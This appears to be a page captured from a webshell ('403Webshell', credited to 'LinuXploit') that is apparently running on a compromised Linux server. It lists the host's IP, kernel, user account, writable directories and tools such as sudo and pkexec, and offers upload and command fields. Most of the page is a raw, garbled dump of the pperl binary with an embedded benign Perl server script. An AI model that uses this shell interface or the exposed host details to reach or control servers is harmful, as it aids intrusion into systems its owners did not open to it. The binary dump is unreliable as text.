403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/pperl
ELF>�@@Ps@8	@@@@@@��88@8@@@|l|l �m�m`�m`X nn`n`��TT@T@DDP�td�i�i@�i@ttQ�tdR�td�m�m`�m`/lib64/ld-linux-x86-64.so.2GNUGNU�	���n�E��YRN�{��@ @c!�l��>�g�� ��x�'q�F`��r[$D!�@��MM 9E.�x����
��6- 3C�~�Y�A �g���\@r`libpthread.so.0_ITM_deregisterTMCloneTable_Jv_RegisterClasses_ITM_registerTMCloneTablereadsystem__errno_locationfcntlconnectsendmsgrecvmsgwaitpidlibc.so.6socket__stpcpy_chkfflush__printf_chkexitstrncmpperrorsignalstrncpyputssigprocmask__stack_chk_failunlinksocketpairgetpidkillflockstrtolfgetsstrlensigemptyset__fprintf_chksigaddsetfclosemallocrealpath__xstat64stderr__snprintf_chk__strncat_chkgetcwdfwritemkstemp64__memcpy_chkstrchr__vfprintf_chkfdopensleep__sprintf_chkfopen64strcmpstrerror__libc_start_mainsysconffree__environ__gmon_start__perl_optionsGLIBC_2.2.5GLIBC_2.3GLIBC_2.4GLIBC_2.3.4 ui	i�ii
uii
ti	�ui	i�o` �o`#�o`@�o`=p` p`(p`0p`8p`@p`Hp`Pp`Xp`
`p`hp`pp`
xp`�p`�p`�p`�p`�p`�p`�p`�p`�p`�p`�p`�p`�p`�p`�p`�p`q` q`!q`"q`$ q`%(q`&0q`'8q`(@q`)Hq`*Pq`+Xq`,`q`-hq`.pq`/xq`0�q`2�q`4�q`5�q`6�q`7�q`8�q`:�q`;�q`<�q`>�q`?H��H��] H��t��H����5�] �%�] @�%�] h����%�] h�����%�] h����%�] h����%�] h����%�] h����%�] h����%�] h�p����%�] h�`����%�] h	�P����%�] h
�@����%�] h�0����%�] h� ����%z] h
�����%r] h�����%j] h���%b] h����%Z] h�����%R] h����%J] h����%B] h����%:] h����%2] h����%*] h�p����%"] h�`����%] h�P����%] h�@����%
] h�0����%] h� ����%�\ h�����%�\ h�����%�\ h���%�\ h ����%�\ h!�����%�\ h"����%�\ h#����%�\ h$����%�\ h%����%�\ h&����%�\ h'�p����%�\ h(�`����%�\ h)�P����%�\ h*�@����%�\ h+�0����%�\ h,� ����%z\ h-�����%r\ h.�����%j\ h/���%b\ h0����%Z\ h1�����%R\ h2����%J\ h3����%B\ h4����%:\ h5����%2\ h6����%*\ h7�p���H�9\ SH�5H���H�1�����H��uH�=������H�5�H�ڿ1����H�=���������H�=�P���������f.��AWA��AVI��AUATUSH�����PH��[ �I�������#��{u,H��[ ���A9�~}Hc�I�ƀ;-uqD�cA��kt�H�=��H���t�H�=��	H������{	=�R��Hc�I��1��
H���1�����~�H��Z ��A9��@��D��H��Hc�)�I���H�=�Ɖ�1��H��Z H�8H��t���H����[]A\A]A^A_�f.�H�=N�H������{=�7��Hc�I��1��
H���������H�OX H�H�پH�81��~���H�5
H���?���H�0Z H��H������H�=��������fDH�=��H���u]H��Y ��^���H��
����H�5����J���H��Y H��H��*���H�=��{��������H�=��H���u>�{=tc��Hc�I��1��
H���~���������H�7Y �����H��
����A��zt+H�5�H�������u H�3Y ����H��
례{t���A��hf�u
�{u1����H�5H�������t�H�5��H���j������E���H�=�X 1�L���H��H��H�q�L���H��H�Q�L�$2I�D$H=�w2H5vV �H��H���V���H��X fA� ���H�>����H�LV H�=q��H��k�����A���1�I��^H��H���PTI��/@H�P/@H��0@�������q`UH-�q`H��H��w]øH��t�]��q`�����q`UH-�q`H��H��H��H��?H�H�u]úH��t�]H�ƿ�q`����=�W uUH���~���]�vW ��@H�=`S t�H��tU��m`H���]�{����s���H�]W S�����8�}�����H�5��[���fffff.�SH�����H�t$(H�T$0H�L$8L�D$@L�L$Ht7)D$P)L$`)T$p)�$�)�$�)�$�)�$�)�$�H��V H�;tDH��$�H��H�;H�L$��D$H�D$H�D$ �D$0H�D$����H�;���H���[�f.�AWAVAUATUSH��h3dH�%(H��$X31�H�|$H�t$lH��H�=
H�T$p���H�(V Hc8�p���H��H����H�|$HH������H���eH�=�H��1����H�ߋH����������!�%����t������D�H�WHD��H��H)�H�����H��I���H�
�L��H�����H�Ǿ1�����I�M��t9E1��_�"���.DЈA��H��Ic����t
��/u��_���H���]���H�=%1�L�����H��$PL���������1�H��T �p1�@1Ҿ��W��������u"������������������
u�L��$��H��$�L��f��$��lL��H�D$X���L)��D$h�=���H�=���1��-���H��$�L��H��H��$��-�����t��8��{H�=1�����T$hH�t$X���������`�O�8H��$�M���-���H�=�H��1����A�$I����������!�%����t������D�I�T$LD��I��M)�A�|$Hc����H��I��H�D$x�Mc�L��H��L�����H�=(1�L��C�&.C�D&lC�D&oC�D&cC�D&kC�D&����1����AL���������A����E1��"@H�=Y1�A�������J���1��D���������t�E�����T$hH�t$X�����������D��1����D����H�|$x���L��H��$P#���H�=���1��T����
H������
1�H��Ƅ$Z#�^�H�[R H�=�I�Ɖ1�����DŽ$@�DH�5�������$@�x����$@~�H�=�1���������H��I���LDŽ$@��H��$@1�H�D$@I���D��1��������]��x?;�$@��t;�L����O��$@���1
��$@H�=W��1��:�����$@��Hc‰�$@I9��H�t$@���DŽ$@������H�=�1����H�5����������L��A�����H��1���1�H��H���H���H��H����H�5�����~�L�5N DŽ$@1�I�H�8t���H����$@H�8u�D��$@L�X���H��1���1�H��H���H���H��H���	�I�L�(M��t/fDL���0�H�PL������I�L�jH�BI�M��u�H�5������H���/�H���^
I��E1�H��L��D��H����H��H����D�|$lH�=�1�D���~���H�5�����[�L�oE�����H��1���L��H��D���H���E1�H��H����E��DŽ$@~zH�l$HL�d$@D��D�|$lL�l$p����Hc�M�d�L����H�==I��L��1�������Hc�$@I�V��I�t�����$@�pA9���$@�L�d$@H�l$HH�5�����}�H�=�E1����}����H�����H����H�=�E�H��n�1�H��L���H��H�i��}Hc���H��I����	Hc�L��H��H����H�=L1�A�/.A�D/pA�D/iL��A�D/dA�D/���1�1�L���������`L��$P���L���H�H����f��ƄP��1��
L����H�=���I��L���1��x����D��������VL�����;�E��������1�������t��p���H�t$HH��$���7����@���H��$�H9�$�*���H�=B1���������H�|$HH�5A���H��H�D$@�&H��$PH�
�L�
�
L����H��I��H��$�H�$1�����L���%���$����D��$�H�5�L��$PD���1�H�5BD���@.��H��$P#1�1ɉ�$���$�D��L��$��D$T��H�D$`D��$�A��L�t$H�*�L��L������1�B��<P
���A�H�T$@�L���k�H���HM��A�I����������!�%����t��H�=�
L������D�I�WLD��I��1�M)�L���U�E��uS��$P#u��$Q!�H�5�
�	����L���M�L��H�‰���H�5R
������H�=U
L��	�tH�=K
L��
����D$T�����H�5@�[����L�l$`L�
A����L�4$1�L�����1�L�l$`L��H��L����H��H�Q��W��D$T�z���H�|$@��$���$�D��$�L��$��B������|$T��L��$�H�=�	1�L�����$��z�H�D$HL�
�	L��	���L��H�D$8H��I ��D$0H��I ��D$(H��I ��D$ H��I �L�t$L��$�L�l$�D$H��I H�$1����H�=<	L��1��g�L���_��L�����H��$@1�L��H��H�D$@�x�L��������H��$���H��$�L���&����#H�=/?����D��1����D���[�H�|$x�1�L���)�����H�5&	�H���[����]��H����$���$@H�H��?ƄP#H�}F H��H�81�����y�H�=>�=��V���H�=��,��;�u�L����1��� L���w�H��H��t#H��1�H���H�=MH H��H�Q���L�H�50�	�߽���1�L��H���L����H��H�Q���H�5������������i��H�=;�{��H��$X3dH3%(��H��h3[]A\A]A^A_�H�=W�A��Z���H�=%�0��I���H�=�=1�L��$��%�L��$��	A�>u1�1�L��������t�H�t$@1ҿ���-�H�=�1����H��$��b�D�d$hL�t$X�*fDH�=1�������%��� �ZD��L��������x˃��@H�=^1��t����H�=�1��a�H�5"� ��;��
���H�=�1��8�H�=�1��*���H�������$@���vHc�$@H�=�H��ƄP#1����1�M��DŽ$@t&��K���$@�xHclj�$@I9��H��
1��������H�=U�������$�H�5�:�[�c��O���H�=O<�R���x�H�=z�<���b�L�������tH��$��8tH�=�;�
�H�=�;���������8@t4H�=�������H��$@H�D$@��H�=�:������H�=E��H�=�
L��L��1���L���2�L���*��3���H�=<�y��y�����H�=P�c����H�=�	�M���s��n�f.�@H��1Ҿ��|�fff.�H��1�dH�%(H�D$x1�H�D$�t$pH�t$ �D$H�D$H�D$H�D$�D$l�D$hH�D$`H�D$0H�D$`H�D$8H�D$ �D$(H�D$@H�D$H�D$P�I�H��?H�L$xdH3%(uH�Ĉ����H��A���dH�%(H�D$x1�H�t$ H�D$H�T$`H�D$H�D$`H�D$H��1��H�H�D$H�T$@D��1�H�D$hH�D$pH�D$0H�D$8H�D$H��H�������x
�|$lDD$pH�L$xdH3%(uH�Ĉ����DAWA��AVI��AUI��ATL�%�> UH�-�> SL)�1�H��H���}�H��t�L��L��D��A��H��H9�u�H��[]A\A]A^A_�ff.���H��H���pperl version %s
malloc failedpperl: %s
realpath returned: %s
/tmp%s/got socket: %s
opening pid_file: %s
pperl: nothing in pid file?got pid %d (%s)
pperl killpperl: could not kill processpperl: Couldn't create socket%d connecting
Socket stat erroropening lock_file: %s
Cannot open lock file%s/%spperlXXXXXX### Temp File ###
read '%s' %d 

#line 2 
#line 1 __END__
__DATA__
package main;
#line %d %s
wrote file %s
/usr/local/bin/perl%s %s %s %s %d %d %d %d %ssyscall: %s
returned.
Connected
sending fds
fds sent
[PID]%d[ENV]send_fd %d %d
[CWD]pperl: getcwdsending %d args
[ARGV][DONE]sending argv[%d]: '%s'
OK
got it
reading return code
socket read '%s'
connected over %d
--kill--prefork--logfileopening log_fd: %s
aCannot open logfilefd for --logfile error--no-cleanup--maxclients--help--param list too long. Sorry.done, returning %d
--anyuser0.25Usage: pperl [options] filenameUsage: %.255s [options] filename
perl options are passed to your perl executable (see the perlrun man page).
pperl options control the persistent perl behaviour

PPerl Options:
  -k  or --kill      Kill the currently running pperl for that script
  -h  or --help      This page
  --prefork          The number of child processes to prefork (default=5)
  --maxclients       The number of client connections each child
                       will process (default=100)
  -z  or --anyuser   Allow any user (after the first) to access the socket
                       WARNING: This has severe security implications. Use
                       at your own risk
  --no-cleanup       Skip the cleanup stage at the end of running your script
                       this may make your code run faster, but if you forget
                       to close files then they will remain unflushed and unclosedpperl: resolving full pathname to script failedrespawning slave - top level script changed
Cannot open pid file (perhaps PPerl wasn't running for that script?)
No process killed - no pid file
Process didn't exist. Unlinking %s and %s
socket doesn't exist yet (good)
Couldn't connect, spawning new server: %s
flock failed - someone else is probably waiting to spawn - sleeping
pperl: Cannot open perl scriptpperl: Cannot create temporary file#!perl
use strict;

package PPerlServer;

use IO::Socket;
use IO::File;
use Fcntl ':flock', 'F_GETFL';
use POSIX qw(:signal_h setsid WNOHANG);
use Carp 'croak','cluck';
use PPerl qw( recv_fd read_int );

use vars qw(%CHILDREN $spid $data_at %FILEHANDLES $logfile);

$spid = $$;      # stash it as we change to be someone else later
$data_at = tell main::DATA
  if fileno main::DATA;  # strangely it moves!

BEGIN {
    $logfile = '/tmp/pperl.log';
    
    $PPERL::SOCKET_NAME = $ARGV[0];
    $PPERL::MAX_SERVERS = $ARGV[1] || 3;
    $PPERL::MAX_REQUESTS = $ARGV[2] || 100;
    $PPERL::WIDE_OPEN = $ARGV[3] || 0;
    $PPERL::NO_CLEANUP = $ARGV[4] || 0;
    $0 = $ARGV[5];
}

sub log_error {
    local *FH;
    open(FH, ">>$logfile")
      or die "Can't open logfile: '$logfile' $!";
    print FH @_;
}


my $____self;
my $should_exit = 0;
my $exit_code = 0;

BEGIN {
    *CORE::GLOBAL::exit = sub {
        my $retval = shift || 0;
        my $package = (caller)[0];


        if ($package eq 'PPerlServer' || $should_exit) {
            exit($retval);
        }
        $exit_code = $retval;
        goto __PPerl_exit;
    };

    *CORE::GLOBAL::fork = sub {
        my $package = (caller)[0];
        my $ret = fork();
        if (defined $ret && !$ret && $package ne 'PPerlServer') {
            # forked children should just exit
            $should_exit = 1;
        }
        return $ret;
    };

    *CORE::GLOBAL::exec = sub {
        # This is so horribly wrong, overloading exec() to be
        # system();exit() - but there's no other way to make this
        # work. See the documentation in t/19invoke_djbish.t for
        # further info on this issue.
        my $package = (caller)[0];

        if ($package eq 'PPerlServer' || $should_exit) {
            exec(@_);
        }
        my $code = system(@_);
        $exit_code = $code >> 8;
        goto __PPerl_exit;
    };
}

sub barf {
    print $____self "XX @_";
    exit 1;
}

use vars qw( $pid $pidfile $saved_dir );


# lifted from B::walksymtable - mild tweaks to avoid all that slow
# slow recursion

my ($count, $closed);
sub find_open_filehandles {
    my ($symref, $prefix) = @_;
    return if $PPERL::NO_CLEANUP;
    my $sym;
    my $ref;
    no strict 'vars';
    
    $prefix = '' unless defined $prefix;
    push @packages, [ $symref, $prefix ];

    local(*GLOB);
    
    my %fhs;
    
    my $foo;
    while ($foo = shift @packages) {
        ($symref, $prefix) = @$foo;
        

        
        while (($sym, $ref) = each %$symref) {
            $count++;
            *GLOB = "*main::".$prefix.$sym;
            

            if ($sym =~ /::$/) {
                $sym = $prefix . $sym;
                if ($sym ne "main::" && $sym ne "<none>::") {
                    push @packages, [ \%GLOB, $sym ];
                }
            }
            else {
                next if $sym eq 'DATA';
                if (defined *GLOB{IO} and fileno(*GLOB{IO})) {

                    $fhs{"*main::".$prefix.$sym} = *GLOB{IO};
                }
            }
        }
    }
    
    return %fhs;
}

sub close_over {
    return if $PPERL::NO_CLEANUP;

    my %fhs = find_open_filehandles(@_);
    foreach my $key (keys %fhs) {
        next if exists $FILEHANDLES{$key};
        my $fh = $fhs{$key};

        $closed++;
        close $fh;
    }
}

sub init_server {
  ($pidfile) = @_;
  my $fh = open_pid_file($pidfile);
  become_daemon();

  print $fh $$;
  close $fh;
  return $pid = $$;
}

sub safe_fork {
  ### block signal for fork
  my $sigset = POSIX::SigSet->new(SIGINT);
  POSIX::sigprocmask(SIG_BLOCK, $sigset)
    or die "Can't block SIGINT for fork: [$!]\n";

  ### fork off a child
  my $pid = fork;
  unless( defined $pid ) {
    die "Couldn't fork: [$!]\n";
  }

  ### make SIGINT kill us as it did before
  $SIG{INT} = 'DEFAULT';

  ### put back to normal
  POSIX::sigprocmask(SIG_UNBLOCK, $sigset)
    or die "Can't unblock SIGINT for fork: [$!]\n";

  return $pid;
}

sub become_daemon {
  my $child = fork;
  die "Can't fork: $!" unless defined($child);
  exit(0) if $child;    # parent dies;
  POSIX::setsid();     # become session leader
  open(STDIN,"</dev/null");
  open(STDOUT,">/dev/null");
  open(STDERR, '>&STDOUT');
  chdir '/';           # change working directory
  umask(0);            # forget file mode creation mask
  $ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin';
  delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV'};
  $SIG{CHLD} = \&reap_child;

  # signal handler for child die events
  $SIG{TERM} = $SIG{INT} = \&do_term;
  $SIG{HUP}  = \&do_hup;
}

sub launch_child {
  my $callback = shift;
  my $signals = POSIX::SigSet->new(SIGINT,SIGCHLD,SIGTERM,SIGHUP);
  sigprocmask(SIG_BLOCK,$signals);  # block inconvenient signals
  die("Can't fork: $!") unless defined (my $child = fork());
  # my $child = safe_fork();
  if ($child) {
    $CHILDREN{$child} = $callback || 1;
    $SIG{CHLD} = \&reap_child;
  }
  else {
    $SIG{HUP} = $SIG{INT} = $SIG{CHLD} = $SIG{TERM} = 'DEFAULT';
    $< = $>;  # set real UID to effective UID
  }
  sigprocmask(SIG_UNBLOCK,$signals);  # unblock signals
  return $child;
}

sub reap_child {

  while ( (my $child = waitpid(-1,WNOHANG)) > 0) {

    $CHILDREN{$child}->($child) if ref $CHILDREN{$child} eq 'CODE';
    delete $CHILDREN{$child};
  }
  $SIG{CHLD} = \&sig_chld;
}

sub kill_children {

  kill INT => keys %CHILDREN;
  # wait until all the children die
  # sleep while %CHILDREN;
}

sub open_pid_file {
  my $file = shift;
  if (-e $file) {  # oops.  pid file already exists
    my $fh = IO::File->new($file) || return;
    my $pid = <$fh>;
    if ($pid != $$) {
      croak "Invalid PID file" unless $pid =~ /^(\d+)$/;
      croak "Server already running with PID $1" if kill 0 => $1;
      croak "Can't unlink PID file $file" unless -w $file && unlink $file;
    }
  }
  return IO::File->new($file,O_WRONLY|O_CREAT|O_EXCL,($PPERL::WIDE_OPEN ? 0666 : 0644))
    or die "Can't create $file: $!\n";
}

END {
  $> = $<;  # regain privileges
  if (defined $pid and $$ == $pid) {
    unlink $pidfile;
    unlink $PPERL::SOCKET_NAME;
  }
}

my $CHILD_COUNT = 0;   # number of children
my $DONE        = 0;   # set flag to true when server done

# $SIG{INT} = $SIG{TERM} = sub { $DONE++ };

$PPERL::SOCKET_NAME =~ m~^([a-z0-9/_-]+)$~i
  or die "unclean socket name '$PPERL::SOCKET_NAME'";
$PPERL::SOCKET_NAME = $1;
if (-e $PPERL::SOCKET_NAME) {
  if (-e "${PPERL::SOCKET_NAME}.pid") {
    die "socket and pid file both exist - possible error state. Delete both and retry";
  }
  unlink($PPERL::SOCKET_NAME);
}
my $socket = IO::Socket::UNIX->new( Local     => $PPERL::SOCKET_NAME,
                                    Type      => SOCK_STREAM,
                                    Listen    => 1,
                                    Reuse     => 1,
                                  ) or croak("Can't create listen socket: $!");

if ($PPERL::WIDE_OPEN) {
  chmod(0777, $PPERL::SOCKET_NAME);
}

# create PID file, initialize logging, and go into background
init_server("${PPERL::SOCKET_NAME}.pid");

sub cleanup_child {
  my $child = shift;
  $CHILD_COUNT--;
}

sub do_term {

  close($socket);
  kill_children();
  exit(0);
}

sub do_hup {

  close($socket);
  kill_children();
  exit(0);
}

sub setup_chunk {
    my $sd = $_[0];
    $sd->autoflush(1);

    $spid = $$;
    my $sock = $sd->fileno();



    # potentially flaky magic number - certainly pid gets more than 10
    # decimal digits on my dev machines - richardc
    my $pid = sprintf('%010d', $$);
    POSIX::write($sock, $pid, 10);



    my $target;
    while ((my $target = read_int($sock)) >= 0) {

        if ( $target == $sock ) {

            # Mary Poppins, step in time
            my $newsock = POSIX::dup($sock);
            unless (defined $newsock) {

                barf("$$ Dick Van Dyke exception! ($!)\n");
            }

            POSIX::close($sock);
            $sock = $newsock;
            unless ($sd = $_[0] = IO::Socket->new_from_fd( $sock, "+<" )) {

                barf("$$ Dick Van Dyke shuffle failed! ($!)\n");
            }
        }
        my $fd = recv_fd( $sock );
        if ($fd < 0) {
            my $err = "$$ recv_fd for $target returned -1: $!\n";

            barf($err);
        }

        if ($fd != $target) {
            my $ret = POSIX::dup2($fd, $target);

            barf("$$ dup2($fd, $target) failed") unless $ret;
            $ret = POSIX::close($fd);

            barf("$$ close($fd) failed after dup2($fd, $target)") unless $ret;
        }
    }


    local $/ = "\0";
    while (<$sd>) {
        chomp;
        if ($_ eq '[PID]') {
            chomp( my $pid = <$sd> );

            $pid =~ /^(\d+)$/ or barf("$$ pid is mangled\n");
            if ($] > 5.006001) {
                PPerl::setreadonly('$', $1); # ');
            }
            else {
                $$ = $1;
            }
            next;
        }
        if ($_ eq '[CWD]') {
            chomp ( my $cwd = <$sd> );

            # we are bad people
            $cwd =~ /^(.*)$/
              or barf("cwd '$cwd' unclean");
            $cwd = $1;
            chdir $cwd or barf("couldn't chdir '$cwd':  '$!'");
            next;
        }
        if ($_ eq '[ENV]') {

            chomp( my $env = <$sd> );
            for (1..$env) {
                local $_ = <$sd>;
                chomp;
                my ($key, $value) = split(/\s*=\s*/, $_, 2);
                $ENV{$key} = $value;
            }
            next;
        }
        if ($_ eq '[ARGV]') {
            chomp( my $args = <$sd> );

            for (1..$args) {
                chomp( $_ = <$sd> );

                push @ARGV, $_;
            }
            next;
        }
        if ($_ eq '[DONE]') {
            return;
        }

        barf("what's this then? '$_'");
    }
}

use vars qw($cycles);

while (!$DONE) {
    while ($CHILD_COUNT < $PPERL::MAX_SERVERS) {
        my $child = launch_child(\&cleanup_child);
        if ($child) {  # child > 0, so we are the parent

            $CHILD_COUNT++;
        }
        else {
            $cycles = $PPERL::MAX_REQUESTS;
            while ($cycles-- && !$should_exit) {

                $____self = $socket->accept;
                unless ($____self) {

                    last;
                }

                %ENV  = ();
                @ARGV = ();

                setup_chunk($____self);

                local *ARGV if !@ARGV; # mumble, grumble, scoping
                if (!@ARGV) { # magic for <ARGV>

                    open(ARGV, "<&STDIN");
                }


                POSIX::write($____self->fileno, "OK\n", 3);


                # reset bogus '<STDIN>, line 99' count
                $. = 0;
                $? = $! = $^E = 0;
                select STDOUT;
                '' =~ m/^$/; # should reset match variables
		srand (time ^ $$);

                goto ____PPerlCode;
              ____PPerlBackAgain:

                if ($@) {
                    print STDERR $@;
                    $exit_code = 255;
                }

              __PPerl_exit:


                alarm 0;



                $closed = $count = 0;
                close_over(\%::);


                open(STDIN,"</dev/null");
                open(STDOUT,">/dev/null");
                open(STDERR, '>&STDOUT');

                if ( fileno main::DATA && $data_at ) {
                    my $ret = seek(main::DATA, $data_at, 0);

                }


                print $____self $exit_code;

                close($____self);
            }

            exit 0;                 # child is done
        }
    }
    sleep;         # wait for a signal
}

PPerl::kill_children();

exit 0;

#putting it here avoids accidental closures
____PPerlCode:

eval {
    package main;
    no strict;
    
    # should you change the line below change write_pperl_h too

};

goto ____PPerlBackAgain;

BEGIN {

    %FILEHANDLES = find_open_filehandles(\%::);
}


pperl: Error reading perl scriptpperl: perl script failed to start, but lets be gung-ho and try and connect again anyway!pperl: perl script failed to startwaiting for perl to return...
pperl: removal of old socket failedpperl: persistent perl process failed to start after 30 secondspperl: dunno how many fds to checkwaiting for OK message from %d
pperl: failed to read 3 bytes for an OK messagepperl: expected 'OK\n', got: '%s'
Nothing read back from socket!chatting to %d, hooking signals
;t
`������P���Hp�����������0��� �`��������8���X���zRx�w���*zRx�$�����FJw�?;*3$"D���`H�\����"H�U$|����A�G��A����HL������B�B�B �B(�A0�A8�G�g�
8A0A(B BBBAL�����B�E�E �B(�A0�A8�D@
8C0A(B BBBK\��t��G��
A�����G��
AD�0��eB�E�E �E(�H0�H8�M@l8A0A(B BBB�X���@p@�@
�/@�m`�m`���o�@�@�@
�p`@�@`@`	���o�@���o�on@n`6@F@V@f@v@�@�@�@�@�@�@�@�@@@&@6@F@V@f@v@�@�@�@�@�@�@�@�@@@&@6@F@V@f@v@�@�@�@�@�@�@�@�@@@&@6@F@V@f@v@�@�@�@d^3@GCC: (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment8@8#T@T 1t@t$D���o�@�$N�@�V�@��^���on@n�k���o�@�pz`@``��@�@�@� @ ���@���/@�/	��/@�/�9��i@�it�8j@8jD��m`�m��m`�m��m`�m�n`n���o`�o �p`p���q`�q �r`�q@ �0�qMEr�z 
3	��8@T@t@�@�@�@n@�@	`@
�@@ @
�@�/@�/@�i@8j@�m`�m`�m`n`�o`p`�q`r`�
�@`
�@"
�@� 
@1
�@�>�I�m`V
@k
0@~
p@�r`��m`�
�@��m`��>��xl@
�m`��m`*n`3�m`Fp`\
�/@l�����+ G �q`Rgy�r`��q`����q`����/@ r`:N
�-@�Vj$r`w�������q`�q`#7�q`?Yr �����q`����/@
�.@�!;
P/@eKr`Th|@v`�
�@���q`��
0@����
�-@ 5 I@r`Vir`p�����q`��r`� *@S@Yp��main.cUsagesig_handlerDebugmy_malloc.part.0DispatchCallcrtstuff.c__JCR_LIST__deregister_tm_clonesregister_tm_clones__do_global_dtors_auxcompleted.6973__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrypass_fd.c__FRAME_END____JCR_END____init_array_end_DYNAMIC__init_array_start_GLOBAL_OFFSET_TABLE___libc_csu_finisigprocmask@@GLIBC_2.2.5__snprintf_chk@@GLIBC_2.3.4free@@GLIBC_2.2.5__vfprintf_chk@@GLIBC_2.3.4__errno_location@@GLIBC_2.2.5unlink@@GLIBC_2.2.5strncpy@@GLIBC_2.2.5strncmp@@GLIBC_2.2.5_ITM_deregisterTMCloneTabledata_startsendmsg@@GLIBC_2.2.5puts@@GLIBC_2.2.5fcntl@@GLIBC_2.2.5no_cleanupmaxclientswrite@@GLIBC_2.2.5getpid@@GLIBC_2.2.5_edatafclose@@GLIBC_2.2.5__xstat64@@GLIBC_2.2.5_finistrlen@@GLIBC_2.2.5path_max__stack_chk_fail@@GLIBC_2.4system@@GLIBC_2.2.5send_fdstrchr@@GLIBC_2.2.5connected_togetcwd@@GLIBC_2.2.5close@@GLIBC_2.2.5read@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5mkstemp64@@GLIBC_2.2.5fgets@@GLIBC_2.2.5pVersion__data_startstrcmp@@GLIBC_2.2.5signal@@GLIBC_2.2.5prefork__memcpy_chk@@GLIBC_2.3.4sigemptyset@@GLIBC_2.2.5__gmon_start__fopen64@@GLIBC_2.2.5strtol@@GLIBC_2.2.5environ@@GLIBC_2.2.5__dso_handlerealpath@@GLIBC_2.3socketpair@@GLIBC_2.2.5_IO_stdin_usedkill@@GLIBC_2.2.5recv_fd__stpcpy_chk@@GLIBC_2.3.4__libc_csu_initany_usermalloc@@GLIBC_2.2.5fflush@@GLIBC_2.2.5_end_startfdopen@@GLIBC_2.2.5__bss_startrecvmsg@@GLIBC_2.2.5main__printf_chk@@GLIBC_2.3.4open64@@GLIBC_2.2.5waitpid@@GLIBC_2.2.5s_pipeperror@@GLIBC_2.2.5sysconf@@GLIBC_2.2.5_Jv_RegisterClassesperl_optionsflock@@GLIBC_2.2.5log_fd__environ@@GLIBC_2.2.5exit@@GLIBC_2.2.5connect@@GLIBC_2.2.5fwrite@@GLIBC_2.2.5__TMC_END____fprintf_chk@@GLIBC_2.3.4kill_script__strncat_chk@@GLIBC_2.3.4_ITM_registerTMCloneTablestrerror@@GLIBC_2.2.5sleep@@GLIBC_2.2.5_initsigaddset@@GLIBC_2.2.5stderr@@GLIBC_2.2.5__sprintf_chk@@GLIBC_2.3.4socket@@GLIBC_2.2.5

Youez - 2016 - github.com/yon3zu
LinuXploit